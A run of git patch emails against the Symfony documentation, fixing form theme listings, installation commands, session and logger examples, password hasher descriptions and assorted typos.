     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
     use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
     use Symfony\Component\Notifier\Message\ChatMessage;

From ded36b5429856c933e5ebeb5541bc41dce27bda4 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sat, 5 Jun 2021 19:40:02 +0200
Subject: [PATCH 2266/7107] Fix incorrect class name for Twig configurations

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 3608b20f562..1b706a6187b 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -61,7 +61,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function(FrameworkConfig $twig) {
+        return static function(TwigConfig $twig) {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...

From a0c136915d01f658821343ec285821980bbd72ef Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sun, 6 Jun 2021 14:17:50 +0200
Subject: [PATCH 2267/7107] Adds references to new Form themes

---
 form/form_themes.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index cdcb1cb2e2c..570947c1972 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -33,21 +33,32 @@ in a single Twig template and they are enabled in the
   updated for `Bootstrap 4 CSS framework`_ styles.
 * `bootstrap_4_horizontal_layout.html.twig`_, same as
   ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles.
+* `bootstrap_5_layout.html.twig`_, same as ``bootstrap_4_layout.html.twig``, but
+  updated for `Bootstrap 5 CSS framework`_ styles.
+* `bootstrap_5_horizontal_layout.html.twig`_, same as
+  ``bootstrap_4_horizontal_layout.html.twig`` but updated for Bootstrap 5 styles.
 * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 5 of `Foundation CSS framework`_.
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
+* `tailwind_2_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the absolute minimum styles to make them usable. It is based on the
+  `Tailwind CSS form plugin`_.
 
 .. versionadded:: 5.1
 
     The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
+
 .. tip::
 
-    Read the article about the :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>`
-    to learn more about it.
+    Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
+    to learn more about them.
 
 .. _forms-theming-global:
 .. _forms-theming-twig:
@@ -635,10 +646,15 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
+.. _`bootstrap_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_layout.html.twig
+.. _`bootstrap_5_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_horizontal_layout.html.twig
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.6/
+.. _`Bootstrap 5 CSS framework`: https://getbootstrap.com/docs/5.0/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
+.. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
+.. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html

From 6b051ab4e198ede28227293fd2a8724112ce59d2 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 6 Jun 2021 20:52:24 +0300
Subject: [PATCH 2268/7107] * setup.rst - bugfix

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index bca61758e65..88bfb952864 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From e51850371f0b31888f09c90a43a920cb28f42fd1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 6 Jun 2021 20:55:16 +0300
Subject: [PATCH 2269/7107] * setup.rst - documentation bugfix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5ca25e0df7b..eb613b8a01c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=5.2 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=5.2
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"5.2.*" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"5.2.*" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 3a0dc3c0e8dd43df66b4ac59ec27dfdf419b4a49 Mon Sep 17 00:00:00 2001
From: Al Bunch <abunch@users.noreply.github.com>
Date: Sun, 6 Jun 2021 19:48:09 -0500
Subject: [PATCH 2270/7107] Update bootstrap5.rst

Apply input-group class to a TextType field instead of a CheckboxType field
---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 3608b20f562..db18cd668c6 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -187,7 +187,7 @@ class to the ``row_attr`` option.
 
     .. code-block:: php
 
-        $builder->add('email', CheckboxType::class, [
+        $builder->add('email', TextType::class, [
             'label' => '@',
             'row_attr' => [
                 'class' => 'input-group',

From 80692087f5c6eeed891c6e4cb0b35d376a580d33 Mon Sep 17 00:00:00 2001
From: Thiago Rodrigues <me@xthiago.com>
Date: Mon, 7 Jun 2021 12:01:54 -0300
Subject: [PATCH 2271/7107] add missing mapping type (PHP Attributes)

---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index b097a15a548..4c09c8c35ff 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -265,7 +265,7 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (the default value), ``attribute``, ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
 ``dir``

From 15e68b5362f46fe383e3b1684e99cfdb908da2a7 Mon Sep 17 00:00:00 2001
From: andybeak <andy.beak@protonmail.ch>
Date: Mon, 7 Jun 2021 17:26:03 +0100
Subject: [PATCH 2272/7107] Update setup.rst

Using `--version=next` uses a development version of Symfony which right now as of this moment in time doesn't behave the way that the 5.3 documentation (which is "current" on the documentation website) suggests.  I suggest removing this parameter to avoid confusion.

See also https://stackoverflow.com/questions/67874794/symfony5-throws-404-error-in-browser-but-route-is-found-in-cli/67875331#67875331
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 88bfb952864..5ca25e0df7b 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version=next --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 506f1f9a67c29eb162a8b0b7dc1e93f8d7497e5a Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 8 Jun 2021 14:34:48 +0200
Subject: [PATCH 2273/7107] [Symfony CLI] Docker integration and MailCatcher
 prefix

Hi :wave:

Given my `docker-compose.yaml`:

```yaml
version: '3.6'

volumes:
    db-data:
    redis-data:

services:

  database:
    image: 'mysql:5.7'
    ports: [3306]
    environment:
      MYSQL_USER: 'app'
      MYSQL_PASSWORD: 'app'
      MYSQL_DATABASE: 'app'
      MYSQL_ALLOW_EMPTY_PASSWORD: 'yes'
      TZ: Etc/UTC
    volumes:
      - db-data:/var/lib/mysql
      - .manala/init-db:/docker-entrypoint-initdb.d
    healthcheck:
      test: mysqladmin ping --silent
      interval: 10s
      timeout: 5s
      retries: 5

  phpmyadmin:
    image: phpmyadmin
    ports: [80]
    environment:
      PMA_HOST: 'database'
      PMA_USER: 'app'
      PMA_PASSWORD: 'app'

  redis:
    image: 'redis:alpine'
    ports: [6379]
    environment:
      TZ: Etc/UTC
    volumes:
      - redis-data:/data

  phpredisadmin:
    image: erikdubbelboer/phpredisadmin
    ports: [80]
    environment:
      REDIS_1_HOST: 'redis'

  mailcatcher:
    image: 'schickling/mailcatcher'
    ports: [1025, 1080]
    environment:
      TZ: Etc/UTC
```

When running `docker-compose up` and `symfony var:export --multiline`, the env vars for MailCatcher are prefixed (by default) by `MAILCATCHER_` but not by `MAILER_`.
---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..087622036a2 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -352,7 +352,7 @@ RabbitMQ      5672      ``RABBITMQ_`` (set user and pass via Docker ``RABBITMQ_D
 Elasticsearch 9200      ``ELASTICSEARCH_``
 MongoDB       27017     ``MONGODB_`` (set the database via a Docker ``MONGO_DATABASE`` env var)
 Kafka         9092      ``KAFKA_``
-MailCatcher   1025/1080 ``MAILER_``
+MailCatcher   1025/1080 ``MAILCATCHER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
 ============= ========= ======================

From 0e98401161dfab475538f17967db820da2f8d395 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:13:09 +0200
Subject: [PATCH 2274/7107] Update the installation command for Symfony 5.4

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6026edf0358..56ae4074f31 100644
--- a/setup.rst
+++ b/setup.rst
@@ -50,10 +50,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=next --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=next
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you

From 6c9387c80c34481518bca2e8dd89202ab3ddec8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:17:41 +0200
Subject: [PATCH 2275/7107] Minor tweak

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 742b1a4f500..599f49bcb47 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -187,7 +187,7 @@ class to the ``row_attr`` option.
 
     .. code-block:: php
 
-        $builder->add('email', TextType::class, [
+        $builder->add('email', EmailType::class, [
             'label' => '@',
             'row_attr' => [
                 'class' => 'input-group',

From 7f179910dc7d2d8f0dbf151b0e991ace22061d8b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 9 Jun 2021 12:33:42 +0200
Subject: [PATCH 2276/7107] Tweaks

---
 reference/configuration/doctrine.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 4c09c8c35ff..7cd921abdcc 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -265,9 +265,12 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (the default value), ``attribute``, ``xml``, ``yml``, ``php`` or
+One of ``annotation`` (for PHP annotations; it's the default value),
+``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
 ``staticphp``. This specifies which type of metadata type your mapping uses.
 
+See `Doctrine Metadata Drivers`_ for more information about this option.
+
 ``dir``
 .......
 
@@ -453,3 +456,4 @@ is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
 .. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
+.. _`Doctrine Metadata Drivers`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/metadata-drivers.html

From 471038c417548a7118ac0d45300564f7b6652128 Mon Sep 17 00:00:00 2001
From: Charles EDOU NZE <charles.edounze@oclock.io>
Date: Wed, 9 Jun 2021 16:49:01 +0200
Subject: [PATCH 2277/7107] Fixed the use of Session with RequesStack

$this->session is never instanciated. We have to use $this->requestStack->getSession() instead
---
 session.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4b7e330f481..d4408aab6f9 100644
--- a/session.rst
+++ b/session.rst
@@ -153,10 +153,10 @@ controllers if you type-hint an argument with
             $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->session->get('foo');
+            $foo = $this->requestStack->getSession()->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->session->get('filters', []);
+            $filters = $this->requestStack->getSession()->get('filters', []);
 
             // ...
         }

From 27cfdeb1400afedcce9c9c0ed3b692dbef3daedd Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 9 Jun 2021 19:32:08 +0200
Subject: [PATCH 2278/7107] [HTTP Client][CS] Add missing commas

---
 http_client.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a8cf766b355..967ab15699c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -835,9 +835,9 @@ Add an ``extra.curl`` option in your configuration to pass those extra options::
         // ...
         'extra' => [
             'curl' => [
-                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6
-            ]
-        ]
+                CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V6,
+            ],
+        ],
     ]);
 
 .. note::

From 08e0eed4808176cb11d7a6f3cc1127ec0d6536a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Jun 2021 09:14:05 +0200
Subject: [PATCH 2279/7107] Tweak

---
 session.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index d4408aab6f9..70e62b62263 100644
--- a/session.rst
+++ b/session.rst
@@ -149,14 +149,16 @@ controllers if you type-hint an argument with
 
         public function someMethod()
         {
+            $session = $this->requestStack->getSession();
+
             // stores an attribute in the session for later reuse
-            $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
+            $session->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->requestStack->getSession()->get('foo');
+            $foo = $session->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->requestStack->getSession()->get('filters', []);
+            $filters = $session->get('filters', []);
 
             // ...
         }

From 09331e47623d0dbf1379aaed0605b1e563268db1 Mon Sep 17 00:00:00 2001
From: VladZernov <vlad.zernov@yahoo.com>
Date: Wed, 9 Jun 2021 02:23:41 +0300
Subject: [PATCH 2280/7107] Specified camelCase format limitation for logger
 channel autowiring

---
 logging/channels_handlers.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 8f6e9aed98a..c35daa82cf0 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -185,15 +185,15 @@ by type-hinting your service arguments with the following syntax:
 ``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
 :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-For example to inject the service related to the ``app`` logger channel,
+For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:
 
 .. code-block:: diff
 
     -     public function __construct(LoggerInterface $logger)
-    +     public function __construct(LoggerInterface $appLogger)
+    +     public function __construct(LoggerInterface $fooBarLogger)
         {
-            $this->logger = $appLogger;
+            $this->logger = $fooBarLogger;
         }
 
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle

From c3218ac4989b37d343952880e47ca791d59e500f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Jun 2021 09:20:38 +0200
Subject: [PATCH 2281/7107] Tweak

---
 logging/channels_handlers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index c35daa82cf0..dbd9e897cf6 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,8 +182,8 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
-:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
+``Psr\Log\LoggerInterface $<camelCased channel name> + Logger``. The ``<channel>``
+must have been :ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
 For example to inject the service related to the ``foo_bar`` logger channel,
 change your constructor like this:

From d404d19d01044f25df5991101fd7f6a6b6df217b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Thu, 10 Jun 2021 15:02:33 +0200
Subject: [PATCH 2282/7107] [Security] update description of password hasher
 config

---
 reference/configuration/security.rst | 51 ++++++++++++++++------------
 1 file changed, 30 insertions(+), 21 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fa9acdaa6a8..d4e3f10d8f2 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -319,22 +319,6 @@ hashing algorithm. Also, each algorithm defines different config options:
                 ;
             };
 
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-.. _using-the-sodium-password-encoder:
-
-Using the Sodium Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_ and it's the hasher recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
-
-The hashed passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
 
 .. _reference-security-encoder-auto:
 .. _using-the-auto-password-encoder:
@@ -342,12 +326,21 @@ password) so you don't have to deal with it.
 Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It selects automatically the best possible hasher. Currently, it tries to use
-Sodium by default and falls back to the `bcrypt password hashing function`_ if
-not possible. In the future, when PHP adds new hashing techniques, it may use
-different password hashers.
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt Password Hasher. If PHP or Symfony adds new Password Hashers
+in the future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future
+(if the "auto" implementation changes), so make sure to allocate enough space
+for them to be persisted. ``varchar(255)`` should be a good setting.
 
-It produces hashed passwords with ``60`` characters long, so make sure to
+.. _reference-security-encoder-bcrypt:
+
+Using the Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
 allocate enough space for them to be persisted. Also, passwords include the
 `cryptographic salt`_ inside them (it's generated automatically for each new
 password) so you don't have to deal with it.
@@ -368,6 +361,22 @@ used back when they were hashed.
     the cost to ``4``, which is the minimum value allowed, in the ``test``
     environment configuration.
 
+.. _reference-security-sodium:
+.. _using-the-argon2i-password-encoder:
+.. _using-the-sodium-password-encoder:
+
+Using the Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
 .. _reference-security-pbkdf2:
 .. _using-the-pbkdf2-encoder:
 

From c5d30b2362643feb21948e9db4967af31915866a Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 11 Jun 2021 15:51:07 +0200
Subject: [PATCH 2283/7107] Typo

Removed extra spacing
---
 deployment.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index a0f85444b6d..3fc00b4d44b 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,8 +7,7 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-
-by-step guide, but is a general list of the most common requirements and ideas
+the setup and the requirements of your application. This article is not a step-by-step guide, but is a general list of the most common requirements and ideas
 for deployment.
 
 .. _symfony2-deployment-basics:

From e556d2695485a195a2e84e62f9ef9bee20360e67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Jun 2021 16:21:17 +0200
Subject: [PATCH 2284/7107] Tweak

---
 deployment.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 3fc00b4d44b..7761844d9d4 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -7,8 +7,9 @@ How to Deploy a Symfony Application
 ===================================
 
 Deploying a Symfony application can be a complex and varied task depending on
-the setup and the requirements of your application. This article is not a step-by-step guide, but is a general list of the most common requirements and ideas
-for deployment.
+the setup and the requirements of your application. This article is not a
+step-by-step guide, but is a general list of the most common requirements and
+ideas for deployment.
 
 .. _symfony2-deployment-basics:
 

From ab154605f8d59a1077b31ec2f0ad68e508e6a87d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 11 Jun 2021 16:28:11 +0200
Subject: [PATCH 2285/7107] Tweaks

---
 reference/configuration/security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index d4e3f10d8f2..e44d2532f02 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -327,12 +327,12 @@ Using the "auto" Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It automatically selects the best available hasher. Starting from Symfony 5.3,
-it uses the Bcrypt Password Hasher. If PHP or Symfony adds new Password Hashers
-in the future, it might select a different hasher.
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
 
-Because of this, the length of the hashed passwords may change in the future
-(if the "auto" implementation changes), so make sure to allocate enough space
-for them to be persisted. ``varchar(255)`` should be a good setting.
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
 
 .. _reference-security-encoder-bcrypt:
 

From e1cc2b106fe22ce04d45955bd4b5d11e6ed740e0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Jun 2021 17:06:52 +0200
Subject: [PATCH 2286/7107] Fixing code typo

---
 logging/monolog_email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 77a27cea9cd..37a4e23ece4 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -114,7 +114,7 @@ it is broken down.
             ;
 
             $monolog->handler('deduplicated')
-                ->type('deduplicated')
+                ->type('deduplication')
                 ->handler('symfony_mailer');
 
             $monolog->handler('symfony_mailer')

From c6ae8e5dee42dc5e4b8054e47d36f081169520bb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 13 Jun 2021 17:41:59 +0200
Subject: [PATCH 2287/7107] Shortening code sample

It's strange that the "easy" way (below) looks twice as long as the "hard" way (above). So I'm removing two unnecessary lines, at least ,-)
---
 logging/monolog_console.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 21c67d705d8..663922f28af 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -42,7 +42,6 @@ The example above could then be rewritten as::
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
     class YourCommand extends Command
     {
@@ -56,7 +55,6 @@ The example above could then be rewritten as::
         protected function execute(InputInterface $input, OutputInterface $output)
         {
             $this->logger->debug('Some info');
-            // ...
             $this->logger->notice('Some more info');
         }
     }

From 53a1829b4bb617d8f223b289389f20ac8d4d76e3 Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Tue, 15 Jun 2021 16:23:59 +0200
Subject: [PATCH 2288/7107] [Runtime] Add a note for --no-scripts

---
 components/runtime.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index e7e14c8f2d2..28392e1b0ec 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -41,7 +41,7 @@ to look like this::
     };
 
 So how does this front-controller work? At first, the special
-``autoload_runtime.php`` is automatically created by the Composer plugin in
+``autoload_runtime.php`` file is automatically created by the Composer plugin in
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
@@ -51,6 +51,11 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
+.. caution::
+
+    If you use the Composer ``--no-scripts`` option, make sure your Composer version is ``>=2.1.3``
+    or the special autoload file won't be created.
+
 To make a console application, the bootstrap code would look like::
 
     #!/usr/bin/env php

From e68d5bede5f99e409ee013df8a77ebf4f9e06762 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Jun 2021 17:34:27 +0200
Subject: [PATCH 2289/7107] Minor tweak

---
 components/runtime.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 28392e1b0ec..e716ec6eb38 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -53,8 +53,8 @@ the component. This file runs the following logic:
 
 .. caution::
 
